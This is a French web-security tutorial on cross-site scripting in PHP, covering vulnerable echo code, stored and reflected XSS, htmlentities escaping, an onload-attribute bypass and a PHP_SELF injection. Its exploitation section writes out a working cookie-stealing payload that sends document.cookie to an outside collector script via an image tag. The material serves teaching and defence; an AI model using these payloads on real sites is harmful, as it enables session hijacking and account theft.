Zenk - Security

Table des matières

Présentation
Exploitation
Permanente et non-permanente
Protection
Cas particulier

Présentation

XSS est l'acronyme de Cross Site Scripting qui devrait normalement être CSS mais le C à était remplacé par un X (pour Cross ou Croix) pour ne pas être confondu avec Cascading Style Sheets (CSS).

Imaginons le code suivant PHP:

vuln.php

<?php
    $sInput = $_GET['input'];
 
    echo($sInput);
?>

Le code précédent récupère une entrée de l'utilisateur et l'affiche. Le problème est que cette entrée n'est pas filtré et que l'utilisateur peut afficher n'importe quoi (du HTML par exemple ou encore, du JavaScript).

Là où cela devient dangereux, c'est qu'un attaquant pourrait rediriger un utilisateur vers une page (hébergeant un malware par exemple) ou encore, récupéré des données de la personne ciblé (ses cookies par exemple), enfin bref, tout ce que propose le JS.

Voici une simple requête non-malveillante qui à pour but d'écrite dans la page:

./xss.php?input=<script>document.write('XSS');</script>

La page contiendra ainsi:

XSS

Exploitation

Maintenant, allons plus loin, essayons de récupérer les cookies de l'utilisateur:

./xss.php?input=<script>document.write(document.cookie);</script>

La page contiendra alors tous les cookies de l'utilisateur. Maintenant, pour transférer les données vers un serveur de rapatriement, il existe un tas de manière, je vais vous en présenter une simple.

Le but va être d'afficher une image et à la place de mettre une image, mettre un script PHP qui récupère les données entrées.

Il est tout à fait possible d'afficher une image également !

cookies.php

<?php
    $sCookies = $_GET['cookies'];
 
    file_put_contents('cookies', file_get_contents('cookies') . "\n\n" . $sCookies);

Mettons en place notre code malveillant:

document.write('<img src="http://andromaque/cookies.php?cookies=' + document.cookie + '" />');

Ceci va créer une balise image et ajouter les cookies de l'utilisateur, ainsi, l'image sera récupéré et en même temps, les cookies seront envoyés.

./xss.php?input=<script>document.write('<img src="http://andromaque/cookies.php?cookies=' + document.cookie + '" />');</script>

<img src="http://andromaque/cookies.php?cookies={COOKIES}" />

Maintenant, le fichier cookies devrait contenir les cookies de l'utilisateur.

Ceci n'est qu'un exemple d'exploitation, il existe des centaines de manière de piéger une personne via une XSS !

Permanente et non-permanente

Une XSS est qualifiée de permanente quand les données sont stockés dans un SGDB et réutiliser plus tard.

Imaginez un formulaire d'inscription, vous ajoutez votre pseudonyme, mot de passe, email et pays. Il se trouve que le champs correspondant au pays est vulnérable à cette faille, vous envoyez donc un simple script qui affiche du texte à l'écrant.

Ainsi, un utilisateur visitant votre profil exécutera le script et verra votre texte affiché !

Au contraire, une non-permanente n'est pas stocké et est affiché directement (comme celle montré plus haut).

Protection

Sous PHP, je recommande l'utilisation de html_entities() en utilisant le paramètre ENT_QUOTES, elle permet de filtrer toutes les entités HTML comme les chevrons et les guillemets.

secure.php

<?php
    $sInput = $_GET['input'];
 
    echo(htmlentities($sInput, ENT_QUOTES));
?>

Maintenant, réessayons notre premier script:

./xss.php?input=<script>document.write('XSS');</script>

&lt;script&gt;document.write(&#039;XSS&#039;);&lt;/script&gt;

Vous êtes maintenant protégé !

Cas particulier

Bypass de htmlentities($input, ENT_QUOTES)

unsecure.php

<?php
    $sInput = $_GET['input'];
 
    echo('<body onload="' . htmlentities($sInput, ENT_QUOTES) . '">Xartrick</body>');
?>

Dans ce cas présent, cette protection serait inefficace.

./xss.php?input=alert(1);</script>

<body onload="alert(1);">Xartrick</body>

Ceci affichera bien un « 1 ». Ceci est en faite dû aux évènements HTML.

Le cas de PHP_SELF

unsecure_form.php

    <form method="POST" action="<?php echo $_SERVER[PHP_SELF] ?>">
       ...
    </form>

$_SERVER[PHP_SELF] a pour valeur le nom du script courant, ainsi de nombreux développeurs l'utilisent dans leurs formulaires : si ils modifient le nom du fichier, inutile de toucher au code. Seulement si on interroge la page suivante :

www.monsite.fr/form.php/"><script>alert("Zenk Security");</script><foo

Le code s’exécutera coté client, '<foo' est utilisé en fin d'url afin de ne pas laisser le chevron de fermeture de 'form' au milieu de la page.

Pour pallier au problème, il suffit d'utiliser à la place le code suivant :

echo htmlentities($_SERVER['PHP_SELF']);